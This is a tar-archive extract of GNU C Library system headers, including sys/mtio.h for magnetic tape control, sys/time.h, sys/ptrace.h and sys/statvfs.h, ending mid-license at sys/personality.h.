<bits/timex.h> #define NTP_API 4 /* NTP API version */ struct ntptimeval { struct timeval time; /* current time (ro) */ long int maxerror; /* maximum error (us) (ro) */ long int esterror; /* estimated error (us) (ro) */ long int tai; /* TAI offset (ro) */ long int __glibc_reserved1; long int __glibc_reserved2; long int __glibc_reserved3; long int __glibc_reserved4; }; /* Clock states (time_state) */ #define TIME_OK 0 /* clock synchronized, no leap second */ #define TIME_INS 1 /* insert leap second */ #define TIME_DEL 2 /* delete leap second */ #define TIME_OOP 3 /* leap second in progress */ #define TIME_WAIT 4 /* leap second has occurred */ #define TIME_ERROR 5 /* clock not synchronized */ #define TIME_BAD TIME_ERROR /* bw compat */ /* Maximum time constant of the PLL. */ #define MAXTC 6 __BEGIN_DECLS extern int __adjtimex (struct timex *__ntx) __THROW; extern int adjtimex (struct timex *__ntx) __THROW; #ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (ntp_gettime, (struct ntptimeval *__ntv), ntp_gettimex); #else extern int ntp_gettimex (struct ntptimeval *__ntv) __THROW; # define ntp_gettime ntp_gettimex #endif extern int ntp_adjtime (struct timex *__tntx) __THROW; __END_DECLS #endif /* sys/timex.h */ sys/vt.h 0000644 00000000026 15246445046 0006174 0 ustar 00 #include <linux/vt.h> sys/mtio.h 0000644 00000025632 15246445046 0006525 0 ustar 00 /* Structures and definitions for magnetic tape I/O control commands. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* Written by H. Bergman <hennus@cybercomm.nl>. */ #ifndef _SYS_MTIO_H #define _SYS_MTIO_H 1 /* Get necessary definitions from system and kernel headers. */ #include <sys/types.h> #include <sys/ioctl.h> /* Structure for MTIOCTOP - magnetic tape operation command. */ struct mtop { short int mt_op; /* Operations defined below. */ int mt_count; /* How many of them. */ }; #define _IOT_mtop /* Hurd ioctl type field. */ \ _IOT (_IOTS (short), 1, _IOTS (int), 1, 0, 0) /* Magnetic Tape operations [Not all operations supported by all drivers]. */ #define MTRESET 0 /* +reset drive in case of problems. */ #define MTFSF 1 /* Forward space over FileMark, * position at first record of next file. */ #define MTBSF 2 /* Backward space FileMark (position before FM). */ #define MTFSR 3 /* Forward space record. */ #define MTBSR 4 /* Backward space record. */ #define MTWEOF 5 /* Write an end-of-file record (mark). */ #define MTREW 6 /* Rewind. */ #define MTOFFL 7 /* Rewind and put the drive offline (eject?). */ #define MTNOP 8 /* No op, set status only (read with MTIOCGET). */ #define MTRETEN 9 /* Retension tape. */ #define MTBSFM 10 /* +backward space FileMark, position at FM. */ #define MTFSFM 11 /* +forward space FileMark, position at FM. */ #define MTEOM 12 /* Goto end of recorded media (for appending files). MTEOM positions after the last FM, ready for appending another file. */ #define MTERASE 13 /* Erase tape -- be careful! */ #define MTRAS1 14 /* Run self test 1 (nondestructive). */ #define MTRAS2 15 /* Run self test 2 (destructive). */ #define MTRAS3 16 /* Reserved for self test 3. */ #define MTSETBLK 20 /* Set block length (SCSI). */ #define MTSETDENSITY 21 /* Set tape density (SCSI). */ #define MTSEEK 22 /* Seek to block (Tandberg, etc.). */ #define MTTELL 23 /* Tell block (Tandberg, etc.). */ #define MTSETDRVBUFFER 24 /* Set the drive buffering according to SCSI-2. Ordinary buffered operation with code 1. */ #define MTFSS 25 /* Space forward over setmarks. */ #define MTBSS 26 /* Space backward over setmarks. */ #define MTWSM 27 /* Write setmarks. */ #define MTLOCK 28 /* Lock the drive door. */ #define MTUNLOCK 29 /* Unlock the drive door. */ #define MTLOAD 30 /* Execute the SCSI load command. */ #define MTUNLOAD 31 /* Execute the SCSI unload command. */ #define MTCOMPRESSION 32/* Control compression with SCSI mode page 15. */ #define MTSETPART 33 /* Change the active tape partition. */ #define MTMKPART 34 /* Format the tape with one or two partitions. */ /* structure for MTIOCGET - mag tape get status command */ struct mtget { long int mt_type; /* Type of magtape device. */ long int mt_resid; /* Residual count: (not sure) number of bytes ignored, or number of files not skipped, or number of records not skipped. */ /* The following registers are device dependent. */ long int mt_dsreg; /* Status register. */ long int mt_gstat; /* Generic (device independent) status. */ long int mt_erreg; /* Error register. */ /* The next two fields are not always used. */ __daddr_t mt_fileno; /* Number of current file on tape. */ __daddr_t mt_blkno; /* Current block number. */ }; #define _IOT_mtget /* Hurd ioctl type field. */ \ _IOT (_IOTS (long), 7, 0, 0, 0, 0) /* Constants for mt_type. Not all of these are supported, and these are not all of the ones that are supported. */ #define MT_ISUNKNOWN 0x01 #define MT_ISQIC02 0x02 /* Generic QIC-02 tape streamer. */ #define MT_ISWT5150 0x03 /* Wangtek 5150EQ, QIC-150, QIC-02. */ #define MT_ISARCHIVE_5945L2 0x04 /* Archive 5945L-2, QIC-24, QIC-02?. */ #define MT_ISCMSJ500 0x05 /* CMS Jumbo 500 (QIC-02?). */ #define MT_ISTDC3610 0x06 /* Tandberg 6310, QIC-24. */ #define MT_ISARCHIVE_VP60I 0x07 /* Archive VP60i, QIC-02. */ #define MT_ISARCHIVE_2150L 0x08 /* Archive Viper 2150L. */ #define MT_ISARCHIVE_2060L 0x09 /* Archive Viper 2060L. */ #define MT_ISARCHIVESC499 0x0A /* Archive SC-499 QIC-36 controller. */ #define MT_ISQIC02_ALL_FEATURES 0x0F /* Generic QIC-02 with all features. */ #define MT_ISWT5099EEN24 0x11 /* Wangtek 5099-een24, 60MB, QIC-24. */ #define MT_ISTEAC_MT2ST 0x12 /* Teac MT-2ST 155mb drive, Teac DC-1 card (Wangtek type). */ #define MT_ISEVEREX_FT40A 0x32 /* Everex FT40A (QIC-40). */ #define MT_ISDDS1 0x51 /* DDS device without partitions. */ #define MT_ISDDS2 0x52 /* DDS device with partitions. */ #define MT_ISSCSI1 0x71 /* Generic ANSI SCSI-1 tape unit. */ #define MT_ISSCSI2 0x72 /* Generic ANSI SCSI-2 tape unit. */ /* QIC-40/80/3010/3020 ftape supported drives. 20bit vendor ID + 0x800000 (see vendors.h in ftape distribution). */ #define MT_ISFTAPE_UNKNOWN 0x800000 /* obsolete */ #define MT_ISFTAPE_FLAG 0x800000 struct mt_tape_info { long int t_type; /* Device type id (mt_type). */ char *t_name; /* Descriptive name. */ }; #define MT_TAPE_INFO \ { \ {MT_ISUNKNOWN, "Unknown type of tape device"}, \ {MT_ISQIC02, "Generic QIC-02 tape streamer"}, \ {MT_ISWT5150, "Wangtek 5150, QIC-150"}, \ {MT_ISARCHIVE_5945L2, "Archive 5945L-2"}, \ {MT_ISCMSJ500, "CMS Jumbo 500"}, \ {MT_ISTDC3610, "Tandberg TDC 3610, QIC-24"}, \ {MT_ISARCHIVE_VP60I, "Archive VP60i, QIC-02"}, \ {MT_ISARCHIVE_2150L, "Archive Viper 2150L"}, \ {MT_ISARCHIVE_2060L, "Archive Viper 2060L"}, \ {MT_ISARCHIVESC499, "Archive SC-499 QIC-36 controller"}, \ {MT_ISQIC02_ALL_FEATURES, "Generic QIC-02 tape, all features"}, \ {MT_ISWT5099EEN24, "Wangtek 5099-een24, 60MB"}, \ {MT_ISTEAC_MT2ST, "Teac MT-2ST 155mb data cassette drive"}, \ {MT_ISEVEREX_FT40A, "Everex FT40A, QIC-40"}, \ {MT_ISSCSI1, "Generic SCSI-1 tape"}, \ {MT_ISSCSI2, "Generic SCSI-2 tape"}, \ {0, NULL} \ } /* Structure for MTIOCPOS - mag tape get position command. */ struct mtpos { long int mt_blkno; /* Current block number. */ }; #define _IOT_mtpos /* Hurd ioctl type field. */ \ _IOT_SIMPLE (long) /* Structure for MTIOCGETCONFIG/MTIOCSETCONFIG primarily intended as an interim solution for QIC-02 until DDI is fully implemented. */ struct mtconfiginfo { long int mt_type; /* Drive type. */ long int ifc_type; /* Interface card type. */ unsigned short int irqnr; /* IRQ number to use. */ unsigned short int dmanr; /* DMA channel to use. */ unsigned short int port; /* IO port base address. */ unsigned long int debug; /* Debugging flags. */ unsigned have_dens:1; unsigned have_bsf:1; unsigned have_fsr:1; unsigned have_bsr:1; unsigned have_eod:1; unsigned have_seek:1; unsigned have_tell:1; unsigned have_ras1:1; unsigned have_ras2:1; unsigned have_ras3:1; unsigned have_qfa:1; unsigned pad1:5; char reserved[10]; }; #define _IOT_mtconfiginfo /* Hurd ioctl type field. */ \ _IOT (_IOTS (long), 2, _IOTS (short), 3, _IOTS (long), 1) /* XXX wrong */ /* Magnetic tape I/O control commands. */ #define MTIOCTOP _IOW('m', 1, struct mtop) /* Do a mag tape op. */ #define MTIOCGET _IOR('m', 2, struct mtget) /* Get tape status. */ #define MTIOCPOS _IOR('m', 3, struct mtpos) /* Get tape position.*/ /* The next two are used by the QIC-02 driver for runtime reconfiguration. See tpqic02.h for struct mtconfiginfo. */ #define MTIOCGETCONFIG _IOR('m', 4, struct mtconfiginfo) /* Get tape config.*/ #define MTIOCSETCONFIG _IOW('m', 5, struct mtconfiginfo) /* Set tape config.*/ /* Generic Mag Tape (device independent) status macros for examining mt_gstat -- HP-UX compatible. There is room for more generic status bits here, but I don't know which of them are reserved. At least three or so should be added to make this really useful. */ #define GMT_EOF(x) ((x) & 0x80000000) #define GMT_BOT(x) ((x) & 0x40000000) #define GMT_EOT(x) ((x) & 0x20000000) #define GMT_SM(x) ((x) & 0x10000000) /* DDS setmark */ #define GMT_EOD(x) ((x) & 0x08000000) /* DDS EOD */ #define GMT_WR_PROT(x) ((x) & 0x04000000) /* #define GMT_ ? ((x) & 0x02000000) */ #define GMT_ONLINE(x) ((x) & 0x01000000) #define GMT_D_6250(x) ((x) & 0x00800000) #define GMT_D_1600(x) ((x) & 0x00400000) #define GMT_D_800(x) ((x) & 0x00200000) /* #define GMT_ ? ((x) & 0x00100000) */ /* #define GMT_ ? ((x) & 0x00080000) */ #define GMT_DR_OPEN(x) ((x) & 0x00040000) /* Door open (no tape). */ /* #define GMT_ ? ((x) & 0x00020000) */ #define GMT_IM_REP_EN(x) ((x) & 0x00010000) /* Immediate report mode.*/ /* 16 generic status bits unused. */ /* SCSI-tape specific definitions. Bitfield shifts in the status */ #define MT_ST_BLKSIZE_SHIFT 0 #define MT_ST_BLKSIZE_MASK 0xffffff #define MT_ST_DENSITY_SHIFT 24 #define MT_ST_DENSITY_MASK 0xff000000 #define MT_ST_SOFTERR_SHIFT 0 #define MT_ST_SOFTERR_MASK 0xffff /* Bitfields for the MTSETDRVBUFFER ioctl. */ #define MT_ST_OPTIONS 0xf0000000 #define MT_ST_BOOLEANS 0x10000000 #define MT_ST_SETBOOLEANS 0x30000000 #define MT_ST_CLEARBOOLEANS 0x40000000 #define MT_ST_WRITE_THRESHOLD 0x20000000 #define MT_ST_DEF_BLKSIZE 0x50000000 #define MT_ST_DEF_OPTIONS 0x60000000 #define MT_ST_BUFFER_WRITES 0x1 #define MT_ST_ASYNC_WRITES 0x2 #define MT_ST_READ_AHEAD 0x4 #define MT_ST_DEBUGGING 0x8 #define MT_ST_TWO_FM 0x10 #define MT_ST_FAST_MTEOM 0x20 #define MT_ST_AUTO_LOCK 0x40 #define MT_ST_DEF_WRITES 0x80 #define MT_ST_CAN_BSR 0x100 #define MT_ST_NO_BLKLIMS 0x200 #define MT_ST_CAN_PARTITIONS 0x400 #define MT_ST_SCSI2LOGICAL 0x800 /* The mode parameters to be controlled. Parameter chosen with bits 20-28. */ #define MT_ST_CLEAR_DEFAULT 0xfffff #define MT_ST_DEF_DENSITY (MT_ST_DEF_OPTIONS | 0x100000) #define MT_ST_DEF_COMPRESSION (MT_ST_DEF_OPTIONS | 0x200000) #define MT_ST_DEF_DRVBUFFER (MT_ST_DEF_OPTIONS | 0x300000) /* The offset for the arguments for the special HP changer load command. */ #define MT_ST_HPLOADER_OFFSET 10000 /* Specify default tape device. */ #ifndef DEFTAPE # define DEFTAPE "/dev/tape" #endif #endif /* mtio.h */ sys/prctl.h 0000644 00000002042 15246445046 0006667 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_PRCTL_H #define _SYS_PRCTL_H 1 #include <features.h> #include <linux/prctl.h> /* The magic values come from here */ __BEGIN_DECLS /* Control process execution. */ extern int prctl (int __option, ...) __THROW; __END_DECLS #endif /* sys/prctl.h */ sys/sysinfo.h 0000644 00000002755 15246445046 0007250 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SYSINFO_H #define _SYS_SYSINFO_H 1 #include <features.h> /* Get sysinfo structure from kernel header. */ #include <linux/kernel.h> __BEGIN_DECLS /* Returns information on overall system statistics. */ extern int sysinfo (struct sysinfo *__info) __THROW; /* Return number of configured processors. */ extern int get_nprocs_conf (void) __THROW; /* Return number of available processors. */ extern int get_nprocs (void) __THROW; /* Return number of physical pages of memory in the system. */ extern long int get_phys_pages (void) __THROW; /* Return number of available physical pages of memory in the system. */ extern long int get_avphys_pages (void) __THROW; __END_DECLS #endif /* sys/sysinfo.h */ sys/profil.h 0000644 00000003646 15246445046 0007051 0 ustar 00 /* Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _PROFIL_H #define _PROFIL_H 1 #include <features.h> #include <sys/time.h> #include <sys/types.h> /* This interface is intended to follow the sprofil() system calls as described by the sprofil(2) man page of Irix v6.5, except that: - there is no a priori limit on number of text sections - pr_scale is declared as unsigned long (instead of "unsigned int") - pr_size is declared as size_t (instead of "unsigned int") - pr_off is declared as void * (instead of "__psunsigned_t") - the overflow bin (pr_base==0, pr_scale==2) can appear anywhere in the profp array - PROF_FAST has no effect */ struct prof { void *pr_base; /* buffer base */ size_t pr_size; /* buffer size */ size_t pr_off; /* pc offset */ unsigned long int pr_scale; /* pc scaling (fixed-point number) */ }; enum { PROF_USHORT = 0, /* use 16-bit counters (default) */ PROF_UINT = 1 << 0, /* use 32-bit counters */ PROF_FAST = 1 << 1 /* profile faster than usual */ }; __BEGIN_DECLS extern int sprofil (struct prof *__profp, int __profcnt, struct timeval *__tvp, unsigned int __flags) __THROW; __END_DECLS #endif /* profil.h */ sys/time.h 0000644 00000015000 15246445046 0006477 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_TIME_H #define _SYS_TIME_H 1 #include <features.h> #include <bits/types.h> #include <bits/types/time_t.h> #include <bits/types/struct_timeval.h> #ifndef __suseconds_t_defined typedef __suseconds_t suseconds_t; # define __suseconds_t_defined #endif #include <sys/select.h> __BEGIN_DECLS #ifdef __USE_GNU /* Macros for converting between `struct timeval' and `struct timespec'. */ # define TIMEVAL_TO_TIMESPEC(tv, ts) { \ (ts)->tv_sec = (tv)->tv_sec; \ (ts)->tv_nsec = (tv)->tv_usec * 1000; \ } # define TIMESPEC_TO_TIMEVAL(tv, ts) { \ (tv)->tv_sec = (ts)->tv_sec; \ (tv)->tv_usec = (ts)->tv_nsec / 1000; \ } #endif #ifdef __USE_MISC /* Structure crudely representing a timezone. This is obsolete and should never be used. */ struct timezone { int tz_minuteswest; /* Minutes west of GMT. */ int tz_dsttime; /* Nonzero if DST is ever in effect. */ }; typedef struct timezone *__restrict __timezone_ptr_t; #else typedef void *__restrict __timezone_ptr_t; #endif /* Get the current time of day and timezone information, putting it into *TV and *TZ. If TZ is NULL, *TZ is not filled. Returns 0 on success, -1 on errors. NOTE: This form of timezone information is obsolete. Use the functions and variables declared in <time.h> instead. */ extern int gettimeofday (struct timeval *__restrict __tv, __timezone_ptr_t __tz) __THROW __nonnull ((1)); #ifdef __USE_MISC /* Set the current time of day and timezone information. This call is restricted to the super-user. */ extern int settimeofday (const struct timeval *__tv, const struct timezone *__tz) __THROW; /* Adjust the current time of day by the amount in DELTA. If OLDDELTA is not NULL, it is filled in with the amount of time adjustment remaining to be done from the last `adjtime' call. This call is restricted to the super-user. */ extern int adjtime (const struct timeval *__delta, struct timeval *__olddelta) __THROW; #endif /* Values for the first argument to `getitimer' and `setitimer'. */ enum __itimer_which { /* Timers run in real time. */ ITIMER_REAL = 0, #define ITIMER_REAL ITIMER_REAL /* Timers run only when the process is executing. */ ITIMER_VIRTUAL = 1, #define ITIMER_VIRTUAL ITIMER_VIRTUAL /* Timers run when the process is executing and when the system is executing on behalf of the process. */ ITIMER_PROF = 2 #define ITIMER_PROF ITIMER_PROF }; /* Type of the second argument to `getitimer' and the second and third arguments `setitimer'. */ struct itimerval { /* Value to put into `it_value' when the timer expires. */ struct timeval it_interval; /* Time to the next timer expiration. */ struct timeval it_value; }; #if defined __USE_GNU && !defined __cplusplus /* Use the nicer parameter type only in GNU mode and not for C++ since the strict C++ rules prevent the automatic promotion. */ typedef enum __itimer_which __itimer_which_t; #else typedef int __itimer_which_t; #endif /* Set *VALUE to the current setting of timer WHICH. Return 0 on success, -1 on errors. */ extern int getitimer (__itimer_which_t __which, struct itimerval *__value) __THROW; /* Set the timer WHICH to *NEW. If OLD is not NULL, set *OLD to the old value of timer WHICH. Returns 0 on success, -1 on errors. */ extern int setitimer (__itimer_which_t __which, const struct itimerval *__restrict __new, struct itimerval *__restrict __old) __THROW; /* Change the access time of FILE to TVP[0] and the modification time of FILE to TVP[1]. If TVP is a null pointer, use the current time instead. Returns 0 on success, -1 on errors. */ extern int utimes (const char *__file, const struct timeval __tvp[2]) __THROW __nonnull ((1)); #ifdef __USE_MISC /* Same as `utimes', but does not follow symbolic links. */ extern int lutimes (const char *__file, const struct timeval __tvp[2]) __THROW __nonnull ((1)); /* Same as `utimes', but takes an open file descriptor instead of a name. */ extern int futimes (int __fd, const struct timeval __tvp[2]) __THROW; #endif #ifdef __USE_GNU /* Change the access time of FILE relative to FD to TVP[0] and the modification time of FILE to TVP[1]. If TVP is a null pointer, use the current time instead. Returns 0 on success, -1 on errors. */ extern int futimesat (int __fd, const char *__file, const struct timeval __tvp[2]) __THROW; #endif #ifdef __USE_MISC /* Convenience macros for operations on timevals. NOTE: `timercmp' does not work for >= or <=. */ # define timerisset(tvp) ((tvp)->tv_sec || (tvp)->tv_usec) # define timerclear(tvp) ((tvp)->tv_sec = (tvp)->tv_usec = 0) # define timercmp(a, b, CMP) \ (((a)->tv_sec == (b)->tv_sec) ? \ ((a)->tv_usec CMP (b)->tv_usec) : \ ((a)->tv_sec CMP (b)->tv_sec)) # define timeradd(a, b, result) \ do { \ (result)->tv_sec = (a)->tv_sec + (b)->tv_sec; \ (result)->tv_usec = (a)->tv_usec + (b)->tv_usec; \ if ((result)->tv_usec >= 1000000) \ { \ ++(result)->tv_sec; \ (result)->tv_usec -= 1000000; \ } \ } while (0) # define timersub(a, b, result) \ do { \ (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \ (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \ if ((result)->tv_usec < 0) { \ --(result)->tv_sec; \ (result)->tv_usec += 1000000; \ } \ } while (0) #endif /* Misc. */ __END_DECLS #endif /* sys/time.h */ sys/ptrace.h 0000644 00000013544 15246445046 0007032 0 ustar 00 /* `ptrace' debugger support interface. Linux/x86 version. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_PTRACE_H #define _SYS_PTRACE_H 1 #include <features.h> #include <bits/types.h> __BEGIN_DECLS /* Type of the REQUEST argument to `ptrace.' */ enum __ptrace_request { /* Indicate that the process making this request should be traced. All signals received by this process can be intercepted by its parent, and its parent can use the other `ptrace' requests. */ PTRACE_TRACEME = 0, #define PT_TRACE_ME PTRACE_TRACEME /* Return the word in the process's text space at address ADDR. */ PTRACE_PEEKTEXT = 1, #define PT_READ_I PTRACE_PEEKTEXT /* Return the word in the process's data space at address ADDR. */ PTRACE_PEEKDATA = 2, #define PT_READ_D PTRACE_PEEKDATA /* Return the word in the process's user area at offset ADDR. */ PTRACE_PEEKUSER = 3, #define PT_READ_U PTRACE_PEEKUSER /* Write the word DATA into the process's text space at address ADDR. */ PTRACE_POKETEXT = 4, #define PT_WRITE_I PTRACE_POKETEXT /* Write the word DATA into the process's data space at address ADDR. */ PTRACE_POKEDATA = 5, #define PT_WRITE_D PTRACE_POKEDATA /* Write the word DATA into the process's user area at offset ADDR. */ PTRACE_POKEUSER = 6, #define PT_WRITE_U PTRACE_POKEUSER /* Continue the process. */ PTRACE_CONT = 7, #define PT_CONTINUE PTRACE_CONT /* Kill the process. */ PTRACE_KILL = 8, #define PT_KILL PTRACE_KILL /* Single step the process. */ PTRACE_SINGLESTEP = 9, #define PT_STEP PTRACE_SINGLESTEP /* Get all general purpose registers used by a processes. */ PTRACE_GETREGS = 12, #define PT_GETREGS PTRACE_GETREGS /* Set all general purpose registers used by a processes. */ PTRACE_SETREGS = 13, #define PT_SETREGS PTRACE_SETREGS /* Get all floating point registers used by a processes. */ PTRACE_GETFPREGS = 14, #define PT_GETFPREGS PTRACE_GETFPREGS /* Set all floating point registers used by a processes. */ PTRACE_SETFPREGS = 15, #define PT_SETFPREGS PTRACE_SETFPREGS /* Attach to a process that is already running. */ PTRACE_ATTACH = 16, #define PT_ATTACH PTRACE_ATTACH /* Detach from a process attached to with PTRACE_ATTACH. */ PTRACE_DETACH = 17, #define PT_DETACH PTRACE_DETACH /* Get all extended floating point registers used by a processes. */ PTRACE_GETFPXREGS = 18, #define PT_GETFPXREGS PTRACE_GETFPXREGS /* Set all extended floating point registers used by a processes. */ PTRACE_SETFPXREGS = 19, #define PT_SETFPXREGS PTRACE_SETFPXREGS /* Continue and stop at the next entry to or return from syscall. */ PTRACE_SYSCALL = 24, #define PT_SYSCALL PTRACE_SYSCALL /* Get a TLS entry in the GDT. */ PTRACE_GET_THREAD_AREA = 25, #define PT_GET_THREAD_AREA PTRACE_GET_THREAD_AREA /* Change a TLS entry in the GDT. */ PTRACE_SET_THREAD_AREA = 26, #define PT_SET_THREAD_AREA PTRACE_SET_THREAD_AREA #ifdef __x86_64__ /* Access TLS data. */ PTRACE_ARCH_PRCTL = 30, # define PT_ARCH_PRCTL PTRACE_ARCH_PRCTL #endif /* Continue and stop at the next syscall, it will not be executed. */ PTRACE_SYSEMU = 31, #define PT_SYSEMU PTRACE_SYSEMU /* Single step the process, the next syscall will not be executed. */ PTRACE_SYSEMU_SINGLESTEP = 32, #define PT_SYSEMU_SINGLESTEP PTRACE_SYSEMU_SINGLESTEP /* Execute process until next taken branch. */ PTRACE_SINGLEBLOCK = 33, #define PT_STEPBLOCK PTRACE_SINGLEBLOCK /* Set ptrace filter options. */ PTRACE_SETOPTIONS = 0x4200, #define PT_SETOPTIONS PTRACE_SETOPTIONS /* Get last ptrace message. */ PTRACE_GETEVENTMSG = 0x4201, #define PT_GETEVENTMSG PTRACE_GETEVENTMSG /* Get siginfo for process. */ PTRACE_GETSIGINFO = 0x4202, #define PT_GETSIGINFO PTRACE_GETSIGINFO /* Set new siginfo for process. */ PTRACE_SETSIGINFO = 0x4203, #define PT_SETSIGINFO PTRACE_SETSIGINFO /* Get register content. */ PTRACE_GETREGSET = 0x4204, #define PTRACE_GETREGSET PTRACE_GETREGSET /* Set register content. */ PTRACE_SETREGSET = 0x4205, #define PTRACE_SETREGSET PTRACE_SETREGSET /* Like PTRACE_ATTACH, but do not force tracee to trap and do not affect signal or group stop state. */ PTRACE_SEIZE = 0x4206, #define PTRACE_SEIZE PTRACE_SEIZE /* Trap seized tracee. */ PTRACE_INTERRUPT = 0x4207, #define PTRACE_INTERRUPT PTRACE_INTERRUPT /* Wait for next group event. */ PTRACE_LISTEN = 0x4208, #define PTRACE_LISTEN PTRACE_LISTEN /* Retrieve siginfo_t structures without removing signals from a queue. */ PTRACE_PEEKSIGINFO = 0x4209, #define PTRACE_PEEKSIGINFO PTRACE_PEEKSIGINFO /* Get the mask of blocked signals. */ PTRACE_GETSIGMASK = 0x420a, #define PTRACE_GETSIGMASK PTRACE_GETSIGMASK /* Change the mask of blocked signals. */ PTRACE_SETSIGMASK = 0x420b, #define PTRACE_SETSIGMASK PTRACE_SETSIGMASK /* Get seccomp BPF filters. */ PTRACE_SECCOMP_GET_FILTER = 0x420c, #define PTRACE_SECCOMP_GET_FILTER PTRACE_SECCOMP_GET_FILTER /* Get seccomp BPF filter metadata. */ PTRACE_SECCOMP_GET_METADATA = 0x420d #define PTRACE_SECCOMP_GET_METADATA PTRACE_SECCOMP_GET_METADATA }; #include <bits/ptrace-shared.h> __END_DECLS #endif /* _SYS_PTRACE_H */ sys/statvfs.h 0000644 00000005403 15246445046 0007241 0 ustar 00 /* Definitions for getting information about a filesystem. Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_STATVFS_H #define _SYS_STATVFS_H 1 #include <features.h> /* Get the system-specific definition of `struct statfs'. */ #include <bits/statvfs.h> #ifndef __USE_FILE_OFFSET64 # ifndef __fsblkcnt_t_defined typedef __fsblkcnt_t fsblkcnt_t; /* Type to count file system blocks. */ # define __fsblkcnt_t_defined # endif # ifndef __fsfilcnt_t_defined typedef __fsfilcnt_t fsfilcnt_t; /* Type to count file system inodes. */ # define __fsfilcnt_t_defined # endif #else # ifndef __fsblkcnt_t_defined typedef __fsblkcnt64_t fsblkcnt_t; /* Type to count file system blocks. */ # define __fsblkcnt_t_defined # endif # ifndef __fsfilcnt_t_defined typedef __fsfilcnt64_t fsfilcnt_t; /* Type to count file system inodes. */ # define __fsfilcnt_t_defined # endif #endif __BEGIN_DECLS /* Return information about the filesystem on which FILE resides. */ #ifndef __USE_FILE_OFFSET64 extern int statvfs (const char *__restrict __file, struct statvfs *__restrict __buf) __THROW __nonnull ((1, 2)); #else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (statvfs, (const char *__restrict __file, struct statvfs *__restrict __buf), statvfs64) __nonnull ((1, 2)); # else # define statvfs statvfs64 # endif #endif #ifdef __USE_LARGEFILE64 extern int statvfs64 (const char *__restrict __file, struct statvfs64 *__restrict __buf) __THROW __nonnull ((1, 2)); #endif /* Return information about the filesystem containing the file FILDES refers to. */ #ifndef __USE_FILE_OFFSET64 extern int fstatvfs (int __fildes, struct statvfs *__buf) __THROW __nonnull ((2)); #else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (fstatvfs, (int __fildes, struct statvfs *__buf), fstatvfs64) __nonnull ((2)); # else # define fstatvfs fstatvfs64 # endif #endif #ifdef __USE_LARGEFILE64 extern int fstatvfs64 (int __fildes, struct statvfs64 *__buf) __THROW __nonnull ((2)); #endif __END_DECLS #endif /* sys/statvfs.h */ sys/personality.h 0000644 00000005242 15246445046 0010121 0 ustar 00 /* Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your 